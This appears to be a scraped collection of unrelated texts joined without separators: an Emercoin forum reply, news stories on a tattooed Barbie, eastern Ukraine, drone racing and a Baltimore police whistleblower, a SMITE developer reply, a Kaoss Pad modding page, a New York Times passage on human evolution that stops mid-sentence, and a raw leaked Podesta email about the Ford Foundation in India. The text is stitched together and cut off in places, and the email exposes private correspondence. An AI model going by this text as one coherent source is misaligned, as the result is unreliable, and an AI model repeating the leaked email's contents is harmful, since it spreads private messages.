4. I've updated the link to your service at emercoin.com, under EXPLORER#1 and also added a new link under "Mining pools". I've been helping the team with the main emercoin website so you're welcome to PM me with better ideas for how you'd like your service mentioned.
Cheers. I am excited by this. In addition to Proof-of-Stake wallet, you're also providing ability to register NVS entries! That's great!Here's some thoughts for you:1. It could be a good idea to provide a web form specifically for domain registration, with a similar feel to conventional domain registrars. e.g. a form with fields for "name servers" "mail exchange", etc (for editing the complete "zone file" like in this image: https://www.linode.com/docs/assets/1121-dns9.png ) Then you could parse the form and submit the appropriate data to the NVS, without requiring users to know the NVS innards. This way, you could present/market the service as a domain registrar in a similar way to how https://getdotbit.com/ or https://www.netki.com/ do for namecoin.I'm sure you've already thought about this2. A small thing: Firefox didn't offer to save my login credentials for me, like it does almost all other sites. Some people do use that for convenience.3. It's great that EMCSSL can be used after registration, although I couldn't see EMCSSL mentioned anywhere on the site (perhaps it could say something under the login form like "...or login to existing account with EMCSSL" with a link to http://emercoin.com/EMCSSL_GUIDE, or just include some clarifying information about how EMCSSL can be used on the site)4. I've updated the link to your service at emercoin.com, under EXPLORER#1 and also added a new link under "Mining pools". I've been helping the team with the main emercoin website so you're welcome to PM me with better ideas for how you'd like your service mentioned.Cheers.NEW YORK (Reuters) - The doll with the dragon tattoo?
With pink hair and tattoos across her shoulders and neck, U.S. toymaker Mattel’s latest collector’s edition Barbie doll could be compared more to the edgy female heroine of author Stieg Larrson’s best-selling Millennium trilogy than to the more traditional Barbies.
Since its release earlier this month online, the $50 limited edition doll designed by Los Angeles-based fashion company tokidoki and aimed at adult collectors, has sold out but not before causing controversy.
“Is the New ‘Tokidoki’ Tattoo Barbie Inappropriate for Children?” the magazine U.S. News & World Report asked in a recent headline.
Some parents in the United States also questioned whether the toy company that launched the original Barbie in 1959 should be promoting body art.
“It’s teaching kids to want tattoos before they are old enough to dress like that,” Kevin Buckner, of Virginia, told a local television station.
No one was available from Mattel to comment on the issue but not all the feedback has been negative. Some adults said the doll reflected modern fashion and pop culture.
“Have you seen Lady Gaga, Nicki Minaj, Katy Perry, Rihanna?” Candace Caswell, a 30-year-old mother from New York asked in an email interview, adding that the pop stars have tattoos and wear wigs and crazy clothes.
“They are capturing a snapshot of pop culture the way it really is. Barbie is not raising my daughter. I am,” she added.
For Heather Gately Stoll, of Colorado, tattoos are not the issue.
“What is inappropriate for kids are her measurements,” she said about the shapely doll. “If she can change personalities why can’t she change her shape and size?”
And while New York mother Sue Dennis would not spend $50 on the doll, she is not offended by it.
“I have a 16 month-old son and the tokidoki Barbie is more the diverse image of women I would like to present to him versus more traditional ones,” she said.
The tokidoki Barbie is not the first to sport tattoos. In 2009, some stores pulled Mattel’s Totally Stylin’ Tattoos Barbie following complaints, and a year earlier Mattel collaborated with motorcycle manufacturer Harley Davidson to produce a Barbie with wings tattooed on her back.
Production of tattooed Butterfly Art Barbie was halted in 1999 after parents voiced their concerns.
Gayatri Bhalla, 41, of Washington D.C, who writes a blog about experiences for tween girls, sees it as a marketing issue.
“One the one hand, the company likes to hold Barbie up as the iconic American toy for girls and use her to promote things that most parents wouldn’t object to, such as Take Your Daughter To Work Day,” she said.
“But they also create Barbie in images that a lot of parents wouldn’t choose to hold up as a role model for their young daughters, and a full-body tattooed doll falls into this camp.”Why Cant Hades dance during his ult? (from r/smite)
I’m sorry to say that his feature will not happen.
What can happen is the creation of a skin where Hades’ actual ultimate animation is him dancing instead of the normal animation. This might be done if the skin has the proper context for this to animation make sense.
There is no system in place for optional emote animations to overwrite ability animations. The current SMITE animation system actually works in the opposite way. Ability animations are prioritized to be more important than all other animations, even over basic attacks (basic canceling).
The system works that way for a specific gameplay reason: visual clarity.
All multiplayer competitive games consider visual clarity when designing their core mechanics and their character’s abilities. It is very important in SMITE and similar games to make it clear what type of combat effects are happening.
Every ability in smite is accompanied by an animation and audio/visual cues. Things like particles and audio are linked directly to the ability animations and are necessary for visual clarity. They play along with the animation. Notice how Hades particles and audio immediately go away when you cancel the ability early.
We would need to change our config entirely for the proper audio and particles to play while the characters perform theses new optional animations.
If we did want to implement this it would be a massive task. It would alter a core system, thus making it an extremely risky and expensive change. Changes like this have a high chance of bugs and likely affect other parts of the game in unexpected and negative ways. A Hades dance feature would take a lot of time and effort that we can surely spend on better things.
Even though we have been asked by the community many times for this feature we still have zero intention of implementing it.
Maintaining the visual clarity of ability animations, particles, and audio is extremely important to the core SMITE experience.Donetsk, eastern Ukraine - Unlike Pisky or Avdiivka, two hot spots on the eastern Ukrainian front line close to the airport, Zenit is not the name of a town. It is a military defence position that was once the point of anti-aircraft defence systems of the Donetsk airport.The soldiers are under orders to hold the position and not retreat.
The conflict in eastern Ukraine has claimed the lives of nearly 8,000 people since it started in April 2014, according to the United Nations' High Commissioner for Human Rights. This number includes Ukrainian armed forces, civilians, and members of the opposing armed groups. More than 17,811 people were injured and over 1.3 million have been displaced.
The two ceasefire agreements signed in Minsk had no real effect, as the reality on the front lines was not peaceful, and people continued to die.
RELATED: Ukraine’s forgotten ceasefire
Zenit looks like a post-apocalyptic film set. The few buildings that remain standing are full of bullet and mortar holes. The grass fields are graveyards for rusty armoured vehicles and skeletons of cars. The ground is littered with craters from grad missiles and mortar rounds. The trees are bare, their branches shaved off by flying shrapnel.
After months of continued ceasefire violations, Ukraine and pro-Russian separatists agreed to strive for an end to all truce violations starting September 1. On the evening of September 1, the front line was silent. In Zenit, there was only gunfire, no mortars - only "provocation", as the soldiers call it.KORG KAOSS PAD KP1
MODS: £125
Way back in 1999 (its seems like longer) the Korg Kaoss Pad seemed like some kind of visitation from an alien technology. Visually, it looks fairly primitive today, but back then it was the first of its kind. The technology was lifted straight from the Korg Z1, which was essentially a polyphonic Korg Prophecy released in 1997, but the KP1 was certainly the first stand alone effects device with a two axis touch pad controller.
The standard mods add a new control box to the side of the KP1. The box itself is made from a translucent red or blue plastic (state your preference), and includes the installation of several LED's inside so the whole thing lights up when you turn the unit on....... Nice! :-)
The standard mods DO NOT include adding a new backlit design or changing the colour of the LED's under the touch pad. See the optional extras section below if you want those mods.
The control box houses a 16 way 'bend bus' switching matrix, and a clock speed knob. There is also another new switch mounted on the main casing just in front of the new control box which switches between the normal clock speed, and the new clock speed knob.
The new clock speed knob controls the running speed of the onboard sample RAM. This means that it will control the playback speed of any samples, the length of both the delays and reverbs, and the depth of any other effects that use the sample RAM, such as flanging or chorus. This works independently of any other effect or pad settings.
The clock speed also appears to control the sample rate of the RAM. On the KP1 the clean input signal is always run though the A/D and D/A convertors before reaching the output as there is no true bypass. This means that even when there is no effect running, the clock speed knob will change the sample rate of the input signal. This allows you to take a normal input and take the sample rate down to give drum loops more punch and dirt, until at the bottom of the knobs range the input sounds like its playing back through some kind of underwater drug experience.
The switch allows you to quickly switch back to the standard KP1 clock. Unlike many units that can be re-clocked in a similar way, on the KP1 you can freely switch between the standard clock speed and the new clock speed knob at any time, without the unit locking up or crashing.
The 16 way bend bus switching matrix allows you to apply various kinds of comb filters, pseudo ring modulation, bit crushing, distortion, and what can only be described as audio smearing™ to any affect that uses the sample RAM in any respect. Each switch has a certain effect that is usually associated with it, although its effect can be altered depending on which other switches are activated simultaneously. You have to activate more than one switch at a time for any effect to work, but when two or more switches are activated their associated effects will combine to produce something entirely new. The demos below do tend to highlight the savagely brutal end of what this machine can do, but thats only because its more fun! It is very keen on distorting sounds way beyond the outer limits of what is strictly healthy, but it's also capable of producing a range of more subtle and sometimes strangely beautiful alien sounds.
The unit may very occasionally crash and lock to one effect when you quickly change preset effects with the clock speed set low. For some reason this mainly happens with the filter effects, but with a little practise it is completely avoidable and simply restarting the thing resets it.
Below are some demos of what this machine is now capable of. The first is a fairly long and brutal destruction of a very simple pattern supplied by a Yamaha RM1X. The second demonstrates what can be done to delays, and shows what can be created by the unit itself without an input when the mods are applied to the reverb effects. The third demo is the result of processing a breakbeat, again from a RM1X. The fourth is a stereo ambience and the final demo is a continuation of the first, only with more of a bad trip feel to it.
OPTIONAL EXTRAS
LED CHANGE: £20
The KP1 has five LED's under the touch pad. Theres one in each corner that stay lit all the time, and another in the centre of the pad that only comes on when you touch the pad. On a standard unit the corner LED's are orange, and the central one is red, but we can change these to any colour in any arrangement that you want. You can chose from blue, white, red, green, yellow and orange. We'd probably suggest a combination that in some way matches the colour of the translucent case on the side, but its entirely up to you. You could have a different colour for each one if you wanted. It'd look horrible, but its entirely possible. ;-)
Red corner LED's and a blue centre LED.
White corner LED's and a blue centre LED
PAD IMAGE: £25
Some KP1's have a cross hairs type sticker over the touch screen as shown on one of the images below, and others don't. Regardless of this, we can add any custom image you want to the inside of the touch screen so that it lights up when the pad is lit. You might ask why, but it would probably be more appropriate to ask, why not? Since when have we needed an excuse to make anything look more psychedelic? ;-)
Standard orange corners, and red central LED, with cross hairs sticker and spiral backing.
Blue corners, and white central LED with spiral backing.
If you don't want to supply your own image, the default is the spiral shown above. If you want your own image you should bear in mind that it should be as simple as possible, as complex images will just turn into a mess. The problem is due to the positioning of the LED's, and the fact that the image is on the back of the glass pad projecting various shadows from different light sources onto the touch sensitive surface on the front of the glass. This means that you do tend to get some messy results with complex images.
As you can see from the images above, you tend to get better results with a lighter LED in the centre position and darker ones on the outside. The 'Trip hazard' image below worked quite well with the strange shadows, but the bottom image just turned into a mess. We'd probably recommend a two tone black & white image without shading, and with a minimal design.
This one didn't work quite so well due to an overly complex design and a darker central LED causing odd messy shadows on the top surface.
If you want to produce your own image you can download a 300dpi guide frame to fit it into from HERE. The white area within the black border is the visible surface of the touch pad. Please position your image within the white area, leaving the black frame in place as it acts as a framing guide for us.
MODIFICATION DEAL: Get all the mods installed on your KP1 at the same time for £160, a saving of £10 on the normal price.
If you want your KP1 modded please get in touch via the CONTACT form.
TweetThat lactose tolerance has evolved independently four times is an instance of convergent evolution. Natural selection has used the different mutations available in European and East African populations to make each develop lactose tolerance. In Africa, those who carried the mutation were able to leave 10 times more progeny, creating a strong selective advantage.
Researchers studying other single genes have found evidence for recent evolutionary change in the genes that mediate conditions like skin color, resistance to malaria and salt retention.
The most striking instances of recent human evolution have emerged from a new kind of study, one in which the genome is scanned for evidence of selective pressures by looking at a few hundred thousand specific sites where variation is common.
Last year Benjamin Voight, Jonathan Pritchard and colleagues at the University of Chicago searched for genes under natural selection in Africans, Europeans and East Asians. In each race, some 200 genes showed signals of selection, but without much overlap, suggesting that the populations on each continent were adapting to local challenges.
Another study, by Scott Williamson of Cornell University and colleagues, published in PLoS Genetics this month, found 100 genes under selection in Chinese, African-Americans and European-Americans.
In most cases, the source of selective pressure is unknown. But many genes associated with resistance to disease emerge from the scans, confirming that disease is a powerful selective force. Another category of genes under selective pressure covers those involved in metabolism, suggesting that people were responding to changes in diet, perhaps associated with the switch from hunting and gathering to agriculture.
Several genes involved in determining skin color have been under selective pressure in Europeans and East Asians. But Dr. Pritchard’s study detected skin color genes only in Europeans, and Dr. Williamson found mostly genes selected in Chinese.
Advertisement Continue reading the main story
The reason for the difference is that Dr. Pritchard’s statistical screen detects genetic variants that have become very common in a population but are not yet universal. Dr. Williamson’s picks up variants that have already swept through a population and are possessed by almost everyone.
The findings suggest that Europeans and East Asians acquired their pale skin through different genetic routes and, in the case of Europeans, perhaps as recently as around 7,000 years ago.
Another puzzle is presented by selected genes involved in brain function, which occur in different populations and could presumably be responses to behavioral challenges encountered since people left the ancestral homeland in Africa.
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.
But some genes have more than one role, and some of these brain-related genes could have been selected for other properties.
Two years ago, Bruce Lahn, a geneticist at the University of Chicago, reported finding signatures of selection in two brain-related genes of a type known as microcephalins, because when mutated, people are born with very small brains. Two of the |
to allow me to have equal access and opportunity," Dale said, describing modified rules that required his competitors to keep in physical contact with him during matches.
Those types of accommodations could be a model for schools and colleges now looking to incorporate students with disabilities onto sports teams. For instance, track and field officials could use a visual cue for a deaf runner to begin a race.
Some states already offer such programs. Maryland, for instance, passed a law in 2008 that required schools to create equal opportunities for students with disabilities to participate in physical education programs and play on mainstream athletic teams. And Minnesota awards state titles for disabled student athletes in six sports.Is drone racing the next NASCAR? ESPN announced a deal this week that will bring competitive drone racing to the network starting in August in hopes of tapping into the sport’s small but growing following.
“Drone racing is currently seeing an unprecedented rise in popularity and is poised to become the next behemoth racing sport alongside NASCAR and Formula 1,” the company said in a statement. The first televised event, the 2016 National Drone Racing Championships, will take place on Governors Island in New York City, from Aug. 5 to 7.
Get Data Sheet, Fortune’s technology newsletter.
For the uninitiated, drone racing is exactly what it sounds like. As in automotive racing, teams construct their own vehicles within a certain set of specifications–in this case multi-propeller unmanned aerial vehicles–and then pilot them around a course. Sci-fi goggles project live video from the drone directly to drone pilots, giving them a “drone’s eye view” while racing.
ESPN sees potential in this kind of immersive sports medium. Viewers, the network says, will be able to follow the action on traditional screens, but will also be able to tap into that first-person “drone’s eye view,” which they can pipe to their screens or even to their own goggles, giving them the sensation of flying along with the aircraft.
For more about drones, watch:
As an organized sport, drone racing is indeed taking off. A number of leagues have sprouted around the globe over the past few years, each vying to become the world’s premier drone racing organization. Last month, the World Drone Prix—organized by the World Organization of Racing Drones and Sheikh Hamdan, crown prince of Dubai—handed out roughly $1 million in prizes, including a $250,000 grand prize to a 15-year-old British pilot who bested 100 other competitors at a two-day event in Dubai.
That’s not exactly NASCAR money or Formula 1 prestige, but for ESPN the deal offers an opportunity to get in on the ground floor of a growing new competitive sport–as well as to influence which emerging drone racing league becomes the sport’s preeminent global organization. It’s also an opportunity to engage new viewers–something ESPN needs. The company has lost millions of subscribers over the past couple of years, creating headaches for parent company Disney (dis).
For its televised events, ESPN has teamed with the International Drone Racing Association, marking the first time such an organization has struck a multi-year television distribution deal with a major sports broadcaster. ESPN will stream the 2016 National Drone Racing Championships and the 2016 World Racing Championships—slated for October in Hawaii—live on ESPN 3, then package each competition into a one-hour television special that will air following each event.BALTIMORE -- Former Detective Joe Crystal sat at a back table in Martin’s West Ballroom last Thursday, scanning the room filled with police officers for any friends he still had left.
Under glowing chandeliers, more than 500 law enforcement officials and their families mingled prior to an awards ceremony honoring Baltimore’s finest. Crystal, 34, was one of the people up for an award, though few had expected him to show. He was a pariah. He had informed on two other cops who engaged in police brutality. And it had cost him his livelihood.
Earlier that day, Crystal showed off the house he was staying in while in town for the ceremony. He ran his hand over the marble surface of a bar he had made himself.
“If I still lived here," he said, "this thing would be packed with liquor."
Crystal once owned this home, but gave it to a friend when he left the Baltimore Police Department and moved to Florida. He feels he had no choice but to leave.
In 2011, Crystal witnessed two fellow cops beating down a drug suspect after the suspect, fleeing from the officers, kicked in the door of a home belonging to another officer's girlfriend.
For reporting the officers’ actions to the State’s Attorney’s Office, Crystal was labeled a "snitch" and a "rat cop." The threats and intimidation -- which included someone putting a dead rat on Crystal's windshield -- are outlined in a multimillion-dollar lawsuit that Crystal filed against Commissioner Anthony Batts and the BPD.
The police department declined to comment on the lawsuit, citing pending litigation.
“You know that sickening feeling you get when someone is after you?” Crystal asked. “That’s how I felt every day.”
A Passion For Police Work
Ever since he was a kid in New Jersey, Crystal wanted to be a cop. His parents met while working for the NYPD. His father was forced to retire after his head was bashed with a bat during a bodega robbery attempt. At 18, Crystal joined the Coast Guard, where he would stay for the next six years. The day after the 9/11 attacks, Crystal went to Ground Zero, where he volunteered with the bucket brigade to sift through rubble.
Crystal applied to be a Baltimore police officer in 2008. He graduated from the police academy with top test scores. In 2009, he received the Commissioner’s Award, given to the trainee who shows the most leadership. Sheila Dixon, then the mayor of Baltimore, was there to hand it to him.
Crystal as a child with his father.
After just one year on the force, Crystal was made a detective with the Violent Crimes Impact Section, where he was tasked with getting guns and drugs off the streets.
“He was a really good detective when he was here,” one BPD officer, who asked to remain anonymous due to the sensitivity of Crystal’s case, told The Huffington Post. “He had a lot of passion, a lot of drive. He was a natural fit.”
Crystal prided himself on his ability to talk to suspects as humans and not act like they were beneath him.
“I remember the first time I went to work with my mom and saw groups of homeless people. As a kid, it broke my heart," he said. "I went home that night and tried to give my mom my Donald Duck piggy bank to help them out.”
Crystal liked working in Baltimore’s poor communities because that’s where he felt he could effect the most change. “You really impact somebody’s life,” he said. “In a lot of ways, it can be the most rewarding job you’ve ever seen.”
But his run in the BPD came to an end when he decided to turn in his colleagues.
“Crystal has always been good to his word,” one officer told HuffPost. “He screwed up his whole career over it.”
‘I Never In A Million Years Thought Something Like This Would Happen’
On Oct. 27, 2011, Crystal was wrapping up his shift when he was told he’d have to make one more arrest, a drug bust.
Crystal receives the Commissioner's Award.
Crystal, Detective Keith Tiedemann and Sgt. Mariano Gialamas rolled out towards Prentiss Place, a particularly nasty area known for drug deals. The cops drove up to a group of suspected dealers and saw one of them, Antoine Green, toss what appeared to be drugs on the ground and take off in a sprint. Crystal stayed back, unable to run due to a bad ankle.
Running down a row of mostly vacant houses, Green made the mistake of kicking down the door of a house where someone actually lived. Even worse for him, the home happened to belong to the girlfriend of off-duty officer Anthony Williams.
Gialamas and Tiedemann found Green in the home, cuffed him and loaded him into a police wagon. By this point, Crystal had arrived outside the house.
After the police wagon set off to take Green to jail, Williams showed up at his girlfriend’s house and began speaking to Gialamas. Moments later, Gialamas radioed to the officer driving the wagon and asked him to turn around. Green was driven back to the home and brought inside. Crystal recalls that Green began shouting, "They gonna fuck me up."
Unsure what was going on, Crystal stood guard at the door just inside the house. He said that while there were some cops he didn’t trust, Gialamas wasn’t one of them. Crystal had never seen the sergeant do anything morally questionable.
But just out of view, Crystal heard Gialamas and Williams throw Green to the ground. For several minutes, he could hear the handcuffed suspect grunting and moaning as the officers kicked and punched him.
“They bring [Green] back and his shirt’s ripped like he’s fucking Hulk Hogan,” Crystal said. “He’s limping on his ankle, which I later found out was broken. I honestly mean it when I say this: I never in a million years thought something like this would happen.”
Blowing The Whistle
The following day, Crystal went to Sgt. Robert Amador -- who is now a defendant in Crystal’s lawsuit -- to report what he had seen. Crystal said Amador told him to keep a lid on it and not to tell internal affairs.
The detective was even more dismayed when he saw the police report Tiedemann had written about the incident.
“Once inside the wagon, [Green] calmed down and expressed a desire to apologize to [the victim] for breaking into her home,” the report said. After he was taken back into the house, Green “attempted to charge and head-butt off-duty officer Williams.”
Unsure what he should do, Crystal met with Assistant State’s Attorney Anna Mantegna over brunch. Wracked with guilt, Crystal started to tell her what he had witnessed.
“She looks at me and goes ‘Joe, ethically, if you continue to talk, I’m going to have to tell somebody,’” Crystal recalled. “She told me to tell her everything, or shut up and eat my goddamn pancakes. That’s when I told her, and everything went to shit after that.”
Crystal said that Mantegna reported what she heard to the State Attorney’s Police Integrity Unit, which promptly opened an investigation. Mantegna did not respond to HuffPost’s request for comment.
It would take several years for Williams and Gialamas to be convicted. But it only took a few days for Crystal to be labeled a “rat,” guilty of betraying his fellow boys in blue.
‘Blood In, Blood Out’
For the next two years, Crystal documented the harassment he endured in more than 50 pages of handwritten journal entries, which he shared with HuffPost.
“Do you want some cheese?” one sergeant asked Crystal, offering him a hand-drawn picture of a block of cheese, according to an entry dated Nov. 7, 2011. In another incident, an officer pulled up to Crystal and yelled out of his window: “Hey, are you guys having a cheese party? I know rats like cheese!”
Just under a year after the incident, in October 2012, Williams and Gialamas were formally charged, and Crystal planned to testify against them. The abuse got worse.
“You are going to get charged with perjury when you testify,” Lt. Tracey Geho told Crystal, according to the pending lawsuit. “Your story better not change even a little bit.”
Crystal was a rising star in the Baltimore Police Department before blowing the whistle on two fellow officers.
Amador echoed the sentiment.
“You better pray to God you are not the star witness, because your career is already fucked,” Amador told Crystal, according to the suit. “If you’re the star witness, you may as well just resign.” The police department declined to make Amador available for comment, citing his involvement in the lawsuit.
During this time, Crystal said he would sometimes call for backup while pursuing suspects on the job, only to be ignored outright.
On Nov. 14, 2012, Crystal went to Bob Cherry, then the president of the Baltimore Fraternal Order of Police. Crystal said he was scared for his safety, and asked Cherry if he’d look over the journal he'd been keeping. Cherry declined, according to the lawsuit, telling Crystal that cops were mad at him because it’s “blood in, blood out.”
“Cherry was basically saying that once you’re in here, you die here,” Crystal said. “What happens in the family stays in the family. They’re mad at me because I went against that rule. I remember saying to him: ‘Are we fucking cops, or are we in a gang? Which one is it? You can’t have it both ways.’”
Cherry suggested Crystal look into joining a different police department, according to the suit. He did not respond to a request for comment.
Just over a week after speaking to Cherry, the day after Thanksgiving, Crystal was at his home with his wife, Nicole. He stepped outside to his car and found a dead rat tucked under the windshield wiper.
“I think the little kid in me wanted to cry,” Crystal said of the incident. “I got teary-eyed and wanted to cry, but then thought, ‘Fuck, my wife’s here, she can’t see me break down.’”
Crystal said he tried to laugh it off and reassure his wife that everything was fine. But she urged him to call the cops.
“This officer did observe a dead rat on the bottom of the windshield," a police report says. The incident was filed under witness intimidation.
Crystal said he never found out who put the rat on his car, though he has his suspicions.
The lawsuit alleges that Crystal lost his security clearance with the FBI, was put on midnight shifts working burglaries and was frequently transferred to new departments, told to clean out his office at a moment’s notice.
Despite the efforts to intimidate him, Crystal still decided to sue Batts and the department shortly after the rat incident and testified against Williams and Gialamas in February 2014. Williams remained defiant during his trial, telling prosecutors that he had simply been concerned for his girlfriend. The prosecutor on the case accused Williams of instructing his girlfriend to lie about the incident.
“I don’t feel as though I did anything wrong,” Williams told the jury.
Williams was ultimately convicted of assault and obstruction of justice and sentenced to 45 days in jail. Gialamas was convicted of misconduct and put on probation. Six months later, the two cops left the force: Williams resigned, while Gialamas retired with a full pension. Drug, burglary and assault charges against Green were all dropped.
Rejected Cop Leaves Baltimore
Crystal said he continued to face harassment within the department, and finally resigned in September 2014, shortly after Batts said he would investigate the matter. Crystal says nothing came of that investigation.
Now, Crystal works as a deputy sheriff in Walton County, Florida. He says he went from doing heavy drug busts to handling loud noise complaints and other minor issues. He once responded to a burglary call and found a man who claimed someone had stolen raw chicken from his fridge. (The case remains unsolved.)
He continues to apply to jobs, hoping to move to a bigger city with more action, but in the past week alone, he’s received rejection letters from three departments across the country. Crystal said he ranked fifth on a written exam to join the Las Vegas Metropolitan Police Department, but still got rejected. The department told HuffPost he passed his written, oral and physical exams but failed a background check, and declined to comment as to why.
Since Crystal blew the whistle, other Baltimore cops have become hesitant to report misconduct in the department. One officer, who is black, wrote a complaint about hearing another officer use the n-word in front of him. Later, the officer asked that his complaint be redacted, citing fears that he would face the same retaliation Crystal did.
“I just watched a detective that I know go through an enormous amount of stress and eventual severance from the department for a complaint he made against fellow detectives,” the officer wrote in an internal email to his superior that was obtained by HuffPost. “I really do not wish to experience even a fraction of what he went through.”
“I truly don’t feel comfortable with going forward for my safety and continued career within BPD,” the email continues. “I don’t want to cause any problems, I just want to continue to work without fear of harassment or retaliation.”
It's been a difficult few months for the BPD, which faced a massive backlash and days of protests following the death of Freddie Gray in police custody. Gray, a 25-year-old black man, died a week after suffering injuries during an arrest. Six Baltimore officers were indicted in his death.
Murders have shot up to levels not seen in four decades, while arrests have plummeted. One officer told CNN that police have “stopped being proactive.” Crystal says a culture of keeping quiet about misconduct in the department will only lead to more situations like Gray’s.
“People ask if I feel vindicated since those cops got indicted for Freddie Gray,” he said. “I don’t know exactly what happened to Gray, but if he died under suspicious circumstances and I knew about it but didn’t say anything, I would feel like shit.”
Crystal says this is why he doesn't regret coming to Green's defense.
“If I don’t do anything,” he said, “the system continues to get messed up.”
'Baltimore Is Where My Heart Is'
At last Thursday’s medal ceremony, Crystal was set to receive an award for helping four other officers apprehend a gang member suspected of robbing seven local stores. The arrest took place shortly before Crystal left the force.
“Deep down inside, I would love nothing more than to come back to the BPD. I can’t deny that side of me," he said before the ceremony. "I know they don’t want to give me this award, that it’s going to be awkward, but I don’t want to be controlled by my fear either.”
Nicole Crystal said she felt anxious about attending the ceremony after all she and her husband had been through, adding that she started shaking while on the plane back to Baltimore.
“I’ve lived here my whole life,” she said. “This shouldn’t be something that scares me, coming home. But I’m terrified instead.”
As guests dined on stuffed hen and crab cakes, Crystal had no appetite. He sat next to his wife and Dixon, the former mayor of Baltimore. Crystal says he invited Dixon as “extra muscle” and because he still often thinks about how she gave him the Commissioner's Award after he graduated from the academy.
Joe Crystal stands between his wife, Nicole (L), and former Baltimore Mayor Sheila Dixon at the awards ceremony.
Batts, the commissioner, took to the podium to thank Baltimore’s finest and their families for coming out. In 2008, when Batts was police chief for California’s Long Beach, he was embroiled in a scandal that bore some similarity to Crystal’s case. In what became known as “Lobstergate,” a number of officers faced harassment after calling out colleagues who were caught fishing for lobsters while on the clock. Batts came under fire for not doing enough to stop the harassment, and one cop claimed the chief called the whistleblowing officers “malcontents.” A lawsuit was filed, and the cops were awarded more than $1 million each.
Dozens of officers received awards at the ceremony, all of them walking up to the podium to accept their medals or certificates and shaking Batts’ hand for a photo op.
But Crystal and three of the other officers involved in the robbery bust were pulled aside shortly before their awards were to be handed out and told they wouldn’t be going up to the podium due to time constraints.
They were never even called by name. Only one officer involved in the incident was allowed to take the stage, since he was also receiving a Bronze Star. The other four were not acknowledged by the commissioner, instead receiving their commendatory letters after the ceremony. While everyone else had a framed certificate, Crystal and the other snubbed officers got limp blue folders, their letters stapled inside. Though the front of the folder had the commissioner’s seal, the award itself was not signed by Batts.
A spokesman with the BPD told HuffPost that the department does not recognize sworn officers at award ceremonies who have received commendatory letters. Crystal and his fellow officers aren't buying it, however, noting that they were originally told they weren't being called up because of time issues and that sworn officers have been recognized for commendatory letters in the past.
Crystal's commendatory letter was not signed by Batts.
The other officers said that they had flown family out for the occasion, but would not have done so had they known their names were not going to be read. They told HuffPost they were upset and that the experience was embarrassing.
"The department should have done what they were supposed to do and not hold a grudge,” one of the officers said.
After Crystal’s name wasn’t read, Dixon stood up from the table, livid.
“Pathetic,” the former mayor said, shaking her head. She curtly said goodbye and headed for the door. She later told HuffPost that the snub was “incredibly disrespectful and small-minded.”
Batts could not be reached for comment.
Crystal held his wife's hand, the two of them quiet for awhile.
“It still hurts,” he said. “Baltimore is where my heart is. This week I’ve gotten all these rejections, and now this, and you start thinking, ‘What is your life becoming now?’”
As other officers were called to the stage and the ballroom filled with applause and standing ovations, Crystal received a text from a buddy working in homicide. He leaned over, and said with a sigh:
“One dead -- guy just got shot in the head in the southwest district.”Download raw source
MIME-Version: 1.0 Received: by 10.25.207.149 with HTTP; Sat, 30 May 2015 06:27:10 -0700 (PDT) In-Reply-To: <72C5FEE740C9034E815045E6800518AB4F9786B1@FFCULEXCH01> References: <[email protected]> <72C5FEE740C9034E815045E6800518AB4F9786B1@FFCULEXCH01> Date: Sat, 30 May 2015 09:27:10 -0400 Delivered-To: [email protected] Message-ID: <CAE6FiQ-mMMn1k+7C+4VO8w7jR=-uKX=f=_buCt3+PFrCBkwuLg@mail.gmail.com> Subject: Re: FW: Excellent meeting with the U.S. Ambassador From: John Podesta <[email protected]> To: "Walker, Darren" <[email protected]> Content-Type: multipart/alternative; boundary=001a11c3fe00c6939005174c8ce2 --001a11c3fe00c6939005174c8ce2 Content-Type: text/plain; charset=UTF-8 Talked to India. You around for a call? On Wednesday, May 27, 2015, Walker, Darren <[email protected]> wrote: > John--this note is from Xav Briggs, Ford VP who is in Delhi and met with > Ambassador Verma yesterday. Thanks, Darren > > -----Original Message----- > From: Briggs, Xavier > Sent: Wednesday, May 27, 2015 3:29 AM > To: Walker, Darren; Ironside, Alfred; Monteiro, Ken; Jarvis, Kristen > Cc: Sunder, Tuhina; Ramdas, Kavita > Subject: Excellent meeting with the U.S. Ambassador > > Excellent because of what I think I got them to understand, not b/c they > gave me new info. > > Ambassador Verma made nearly a full 30 min for the mtg, which I > appreciated since we didn't give him a lot of notice. And his senior team > was in the room. > > Since what matters is not what I said but what they thought they heard, > I'll focus on their replies -- many of which came with Verma asking 'have > we heard you right' -- which I found encouraging: > > -- The Ford Foundation takes the long view and sees adapting to'shifting > space' as an important part of remaining effective and relevant in a wide > variety of settings across the globe. > > -- We feel we're in an increasingly good place with the government, with > greater clarity on what shaped the past few months and also what the > elements of a resolution and new normal might be. We have been told by > senior officials that the government wants us to continue to operate in > India. Yesterday's positive news story is consistent with this, with the > start of a turn, however modest. > > -- We do have some immediate operational imperatives and the Indian > government, specifically Home Affairs, could help us resolve them, > especially with Citibank, even if it wants to keep us on a watch list for a > while. That conversation is in progress. Enforcement authorities can issue > all sorts of 'clarification' that create openings without changing the > 'watch' status altogether. I used IRS and FBI analogies to explain it to > them. Heads nodded. Verma had been thinking in more absolute terms (can you > function while on the watch list, yes or no?). > > -- We see our situation as part of a larger set of moves by the Government > of India to treat civil society differently, to be sure. But we're not > headed to the barricades. The Ford situation is special, in part because we > were ensnared as part of a larger criminal investigation. We see scrutiny > and compliance as legitimate and important everywhere we work. We look fwd > to working things out constructively. I briefly explained our long-standing > exceptional status vs the recent steps Gates took to register in India -- > merely as an example. And Modi is no fan of Nehru. Invoking that personal > invite long ago is not our best card to play. Acting privileged is not our > approach to this. > > -- What would be helpful now is to make sure the USG 'does no harm' (his > words). In general, we should all look to build on the evolving, positive > relationship between Obama and Modi and see that this gets worked out in a > constructive way. That's in the interest of both countries, not just the > foundation. > > I'll write separately about yesterday's encouraging news story about Home > Affairs 'allaying' our concerns. > > Darren, you might want to fwd this to JP, who really values real-time > updates, as Sonal underscored. > > Xav > > (Excuse typos, sent from my mobile) > --001a11c3fe00c6939005174c8ce2 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Talked to India. You around for a call?<br><br>On Wednesday, May 27, 2015, = Walker, Darren <<a href=3D"mailto:[email protected]">D.Walker@= fordfoundation.org</a>> wrote:<br><blockquote class=3D"gmail_quote" styl= e=3D"margin:0 0 0.8ex;border-left:1px #ccc 